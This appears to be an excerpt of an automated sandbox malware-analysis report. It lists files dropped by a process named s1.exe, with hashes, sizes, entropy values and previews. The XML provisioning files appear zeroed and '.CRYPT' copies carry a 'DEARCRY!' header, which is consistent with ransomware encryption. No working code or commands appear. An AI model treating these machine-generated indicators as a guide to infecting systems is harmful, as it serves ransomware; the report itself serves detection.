                                                              SHA-256:599045BE2B36ED4A06B4C7385889C9855BB5FB6DE4D03F228458A7A7FF650127
                                                              SHA-512:195B5FE7AA2437411CECFA3158D3424624B12E99586BC32CF68305E9703BA89C66B5F3C14A708475C48010781273016C01B554EAB3BECF834D5A99562170ED4A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):536
                                                              Entropy (8bit):7.528229843034942
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FC6A7128D252E76D1E70CBE404462474
                                                              SHA1:9DD68B221C758DE2C18F98E72C2094D1D270495D
                                                              SHA-256:72C47FE255B2428E36177C9B6CE003A64F16E808BE7D603D0BBE51909AB8BADF
                                                              SHA-512:DD17F10981AB56643EC1AFBD07FE92DA520A92BEB776E6F88576332506CF729F35ABE5F6D287C676B3566BB3D4D102B4E1683900F7AC5749E1676E43D5FDD357
                                                              Malicious:false
                                                              Preview: DEARCRY!....*..a}I.. 7...w3....Sl....L.gO..G8..W....>..v.I...;..{O(.s......y7Q.&w.l.......Z.!l.j.t...^Hu..Xk5}O.59...V.z.....Y...~lI......_^.#~..d...b..KS_....'z.b.!..:.K...Cm....^i."..<.H...yt.p..\>..f[.N....|.Y!...].<..;..^.Vvj......f..;.......~........N............H..w...L........H............E.J.w.L.(.^...-.|.f..UC.+.L.A.Y".Q.<.E6..T7..L...\...w..E...y.z+.OE........"xi....K.g.......R...i..mQ}.......+/...f^e.&\....|%.. .U.\...*wj6.[XZC...O.-.6.{..9...k..JA......f....r$N..66..Y.k{'".........."...{MD....
                                                              C:\ProgramData\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2138
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:138F70DF5EF5D908BF72823B3CC0AEC8
                                                              SHA1:64BC0096525689E07A0750C5519CCD026A5868A1
                                                              SHA-256:0838F8201195B155D901300E0B732FB67821E158ED56FBAAF1352FF270A3C646
                                                              SHA-512:680400836BFEAA696B109D76294079C0ADD251E39BB757F1B0AC3E876FA7CDFFD4F00AC32A647FB22DA55AFBDDDE10AFA28397151D33EC1F258BEBA30F5CB0FE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2424
                                                              Entropy (8bit):7.926861217329557
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03563E48C32A14E7EE14D1984BBD78A2
                                                              SHA1:360C8CFD983685B2EEEC1AE975597B824E518ECE
                                                              SHA-256:8C821FC0C88B843A97E1067B478512B380DE4E7D3C3648BD0291F5548A769108
                                                              SHA-512:EDE1B7999A456A87330666E17BA7B935EBB65515768F3434D26871C4CD838456D1612D2933211F449EB2BC45E5980D86EBA55FBE243512ACD5FEE44171076B0C
                                                              Malicious:false
                                                              Preview: DEARCRY!......U..0S3....9.T.f..I.l.`...Lq. .+>@#>.Nv.....P..`.!N..?g...d.O..mNm..L..B..2M....C'W`{..6. 1.........@.I..b.......).z.6..P.d...`.=.n..x.Z....v.J..........F.-.M..,N....p.1".LX6z....#.K..q...EV......#.l.|.%.G."C......V...C.......C/...d....w.)d.S8=....Z.......L....$...U.}.....~....W.....T<....).v..\...f.+4..rhN.......f?x...y...:.........T..f....u.jf....ZW.p]..?.E.e.....KCX...i.*.q.X.<&._....kj.O.~..6...!.....~..bB.}X..c.3...........v..)A.9.....2U.i..k|....erQ.*....p.1...\.4..g......+..o`...`.,.....#..,x;.G..G......-M.......~8..8...r....(&..PoV.......l.*D..9.:....n....0........#..o..E../..W.J...t...M....>3..S.X.s...V...9.Ps.#..^:...V.......A....Vs....u.....$F........U.S.....@.?.>QI]=..}....9&gH.1..)"'.K}.Q....g..-G.@....IS...`I.X.;.s> .....g..>..b.`.:{...-.*d&..".^g..._..q......y4l.A.|....LG..m>g.?..y.;.l.UV-..|.?.y,:!l.\........>.[.:k..f...f..t...p...A|.......).4.R..g..._..,9s...{.4.:N.#.......!....s..S%.iz....r.by...*
                                                              C:\ProgramData\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.58634477642151
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A01A6BC21B8ED873F1B3B7ACFF297BA5
                                                              SHA1:E95C92D7C46F9FA6F68F1822E913A57A3741F198
                                                              SHA-256:0560E9A96F3D576CAD092F5BD9A9933E9160F12B931F6E2FC4E1394DDFBF0A52
                                                              SHA-512:8A2D8988BB9B6E24A28FCC850ABEBCAAF4F9D0C5BE388DA17D3331BECA682E71BB731DF8ADE8D41223B3ABA55F983672B637D84D1C207CFCF4F2F67407A3ECF2
                                                              Malicious:false
                                                              Preview: DEARCRY!....\a"|.G.]........t,YcY8=.......!.a.n..lDl.P.J.(....>.m.....>'... .....a1....a.|...`|......+.Z....$<u.L.......M..?...&5.:$.....Ja-i.(x"..'An....a..b#...C.x3{...Nt[...$.......>g.......H...... .KE,...|QX-.o.9...:M....bc.X1..?(T.-.s....O.&................B...T....h..4...Zw.......\|.pT....4@...T.D.........,.U...W..Ss.2._.D..>..@.;w... ...p.6..E......D..u.5......7z/rJe..;M...2.......:.Yq2........9f.0c.....)...d..H.5NN7.N.0.5..k1J......$T.....z.g.a.k @.J...U.<...L..Yr}PR.<.-<,.o....Z..Hs(.3...<Lp....tCj.z7...
                                                              C:\ProgramData\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):460
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CC55898E3C4E96553B7795BC7538F072
                                                              SHA1:0BAE21B29367C7209237ABE462E7C6D013E2CA78
                                                              SHA-256:828798A87DA42AA928A85E9CAFFE6ED3C1D89FF615D5692146EE6571C78E8947
                                                              SHA-512:B17E6223F3114530529A4BCAE4CC15DB5EA4283AE99976173FF69F77DB6B1FF7CB1D2F6C1668210D5534DDBFFBAE44B702D9CCF9145EFB1AA5ED5F1ACF286117
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):744
                                                              Entropy (8bit):7.7165112309554615
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:609CBAA975C84421CF1A35757B5B13D5
                                                              SHA1:27DC7CF88516C5B4DEF493B97988003CED0F9C6A
                                                              SHA-256:5EFBEA3C87C997D76A7D13317C222CF6D83B00F64D0A56D4AC8B4C0035BFE252
                                                              SHA-512:414717754EC72C965A15459F20CC6834A8615C3256A143548DF157F2BF0F782F8B4AF04056A61D700E102E3E424C00DEE6290D88FE14FB3863E8AB078474931D
                                                              Malicious:false
                                                              Preview: DEARCRY!....83.y1j.+....5.....d%.K..9_d.Nh.W.>.;s..l..,#3d..D.\dq.....pG.n.+W..y........@DQ.s.f.O...S.H...)..C.H|r....4.V.TBEb.. .M.t/.{.'..nf...\..*...Y|..!>........n.....e9=k<..S....5x5.oqp.t..c.....gi.|l'.Gs.X........"."..'.s...z.X.&.....(....*.%XH..................=...I.op%5_\2.%81.SU.FFH....y.p.P....'..rf......,.N.K.+$.p.jq.. ..%.....!.....R_4BL5..X:y.*)R.W..Y...Y$>.L..T.9.`KS...e...f....N.....b...J...*HJ..>w..X..I..C..Nj.P...~..(..&.4..:._.b>?_$."C..w.V^.k..[...AG.}...`..d..UQ(.vj.t..k.}MO.?|'/....;%E.........<.................{...+g.{<..z....\..Q............d..$.]....I..Ed....Y#.:m<..J..5...L.&K.D........_.^..E./..Q...T.W....|($:7 ZUd. .9n..i*....B.F.N.x..0-..w.x..~...[d.h...W..F.........
                                                              C:\ProgramData\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2229
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D8310CF47910B7EAD56BBEC295C4831C
                                                              SHA1:3416AC1B0B6113EF37FF62EC4315B73760EB2A87
                                                              SHA-256:60C9559BB7A6063F47BAE1D7BF0712EF1B8EA26493B4FA334527DA3D77A7B91C
                                                              SHA-512:B076E17D01F66E5099173BA2B417C5502D607F854E6D1ABD04971182A7A89904A68546D6B95FCAC802E8698805519B312160E8155BDA05421753D2F057CB26E4
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2520
                                                              Entropy (8bit):7.910889824385514
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0E273BD4FA717AF0D8021B3D465C148C
                                                              SHA1:85EB710EAD817C8DE901EC683262E1E12B043738
                                                              SHA-256:29A57B01284C4B98070FDEA40A4DD2D88C8E4B6F0AFE653AA2BC69DCE2ED0D79
                                                              SHA-512:77B2B19B008DC4AD8EA2D8B733529F8602A8113336C7702069B5065DF8B0D56CCA25D636EB03CBCAFB41B7ED6C1432180B26AFF1BA8B91B07D7E948F0019CF93
                                                              Malicious:false
                                                              Preview: DEARCRY!.....+BA.F6.<.6.|..i{0...l8.u.lR...n.X.....@ 2..1...5=..Ww.......[p....j...|u`D.?XP.-.\.[..C...p....m\K.RK.>$~#z.~.|..5..u.:m..}{DZ..P..1.4e.D....Ar.....{.$(."@..]..en.Yf9A..5.f.,..\..|Q.4.W..,.*.\...&..%..xvGf...R......,E&O.v.?..P.~......2".+ ..................1...;..q.....AK@....,Yb.eK...{..O..y..k..u.......1....N...m'.K..2...z..aA...._.._n.;)......jGo...f......K...\.U.,..>."...LP....).*.M.V....z7.......h-c..Q~..v..AcB.-.B...6)..\.B^...Q;.v.g-.O*v<>.....N5..\....?+.}.T..t.3R...Ff...!.n.TbL.|6"..:.5.{)+.M.....M.....W..|......%.......!..Q..HX........{..C.o.%l.....P7.@/_...R._C.~...V...q3.Q..)x..t...^.....<...f.}..2O.].rA.....c.<.......&n<....Z.k&.;.7|..2H...I.Xl1..*{..>..c....>b...P.RX}.7.L..y.Y.L..&.:.X.@Nn.!.T.<>Dn.J.7.Bz....A..o.(.-..d..y.>.X .%3.~../......?S..\..@y..l ...-...1J.e.P...!.....|z..o.4..:.....%...\.X...fx.-4Q.b..&...)...!Z...b..SbV?^.yO..M..[.M.M..L.....R.EdZ..m...I........Q..,le>?.P...$|2..?&.E{..s.VM...
                                                              C:\ProgramData\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.579096480750493
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C67487328CE1A03F66304ACE6D41A80F
                                                              SHA1:530777120638751B30B3015940706B041B8829DC
                                                              SHA-256:FD23B59B6CF563B37C508A9F8CA922FEEAA8D5C27CC4E3A9029842D480973AF7
                                                              SHA-512:DF9D74EC21E7AD6C8A3C1B7A8BDBCBC7941D001F53D588A5C5C70F1F334A3C6FF2466A29D08A9AF87520B89107262CFC4747A220B9F0870FEFE1ABB422569ABB
                                                              Malicious:false
                                                              Preview: DEARCRY!........RS..$...._..6Q....~u.o.X.=G^3Z.O.cv...$cC.-.U...B..~...YWL.....J0s.....[......-.}.Nw........}..b.[E...r...7....M..J.{...).......y...+9.f..x.s{.[.Ow.Z.k\}X...zPH..{/+J.5]h.k.].eW9d...KIR..QV...".q......m}..X].D..R.T.`|?Z^^(..-`j/...8..te^.~.........................c[*...r.[.74....=..q....8....8..Z...S.7...o.J...;...5H....C....sl.Z...^..}.Ffqv..=i_..........;w.$....M.lT.M...:.y.3".4."U.a.W9..@f...#...O..[...6X'+..$.&..-.j)......f.3.2x2V...2.PX.}.....Q.........Y.'....j.o...6..]...n.8....,e.z.....Ov....C..4....Z..2
                                                              C:\ProgramData\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):699
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C65F5BA4CD0E1E16DB78AC6696EDA7BF
                                                              SHA1:42B39561603F3D2EA0998E9B97C58DCA54526D23
                                                              SHA-256:BBECA0994E0037233D1CA300A14E4F64F933D0FC5D1E02B049ECC1D1581C7E14
                                                              SHA-512:48B5D1BB080712530542EC4F8BA7B2AE5678B42E52AECF107F1743C40FC07E18B983CFA06D5E8F9B6B563B9B3F73705A9A01E56ED7AF5FE1A2D933D04A42A3BE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):984
                                                              Entropy (8bit):7.7809793636553986
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BC871B9EEB114F91E1354F2EB9A8BAFD
                                                              SHA1:173682FBA807BA869500CABAFC38A8AF91B668B7
                                                              SHA-256:07CA5E0A0340CA6A5BC854F4361866233530CCF3669948C9FADBEAF33118E14B
                                                              SHA-512:0DC11FEFE34B70C0731DE62EED6828EC4D515E9DD1A992B9204B79CE358303C2755E65B2135184FEFFE1B9AD09CF2B0C9CF6A4D0F3AFD2E1D9F9A935FA734196
                                                              Malicious:false
                                                              Preview: DEARCRY!....._{.h&x<._z..r....1.W~....)U..8.p@.V.s4..x1`.L..:.4....Au..}OKM..yt.G<(...W..K.q../...,.t..$.J.... .rP.'.J.j. *.y.C...>Hi..k....umM..Lz..)L........h.>.A...J.....Kk..].lN(P..p.......]..n.....lh .+.JaO".*3".._..{.F.qb..9c.Ae:tV..7.3&\.Z.y..wU.?.J..u-"............o.*...c...2. ..p......C.....1.2..NIu./..\V....._.b......=....u..0...w.u-.]..0?......{..+. .$;DL^4U.6..x.6TG4....m...g.M"..V...4qN.9m..r..lR4.X.....e9q......a..}..."...j.c.Ut.@8/..._-...J....4Mw.F?<.6N..2c.p*..v:...\[-...Uv./....N.._bdyS....H.d.w...D.r....g..R s.C.j........,...!..w..Yq.-.J..H,.y...u.}....CF.....h.!...]'U.:[.%'.pnDL.....I..........z..+[..>...78...G.$.L.J...~.Y=1a......|.=.[.ro..)....;.v....dg..T.4R.M6.=.D..2f.i..E.I......xq*V...g5e. ?...@h....@Dn.c....T"C. i../l....P.........iOG...W.\.E..P?..W..;......I.>(Pd.........Q.._..dP..*.NF.....-7u...)H...fS."...*,{..2..}#..^J...>h...X..}.f...+.a.g.....z.r.%.Ua;.'o.......m..j.q...psn02j..Z.o...d..
                                                              C:\ProgramData\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3557
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DDCA99D0AA23646445901B4C1635D828
                                                              SHA1:1F77C897DAB6585713D7559C9644D1A0B0F7C4C8
                                                              SHA-256:DF3BAA1202312101170B7B148EEBD1F33E69B3141F5C765FE6ABB9E6DFFAD187
                                                              SHA-512:E01B656B2D9AD3B9C51088576E3AAA7151B04162743F0512A1975E869B222329EA797B86AEF350EEF46BD5382DF560471B90FE051ABE73E38DA45ACE3CBF3CFD
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3848
                                                              Entropy (8bit):7.948113159386682
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B84A574C4C68DFB80A3C8A866ECAC9FA
                                                              SHA1:7558AAECBBEF7000B068AA15FCB75CCDA89FF198
                                                              SHA-256:484598F7D30947F683B3F045FC2BFDC05E058CF5F464C7CB3F18F166CD90CD00
                                                              SHA-512:2B1B415D1BCCD5B9C3E2D2EE4B5795BB5785520466350D16B085B912D3B3E5AD1FBE1243A66FC76B9207C6A675E8B3463F7C765A651FF868E1AF701054B6A4AC
                                                              Malicious:false
